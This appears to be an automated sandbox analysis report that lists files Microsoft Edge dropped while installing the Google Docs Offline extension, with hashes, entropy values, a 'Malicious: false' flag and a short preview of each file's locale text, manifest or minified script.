Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir5412_214942146\4d98ae41-173c-4a8c-ba52-a98284827f0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5412_214942146\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
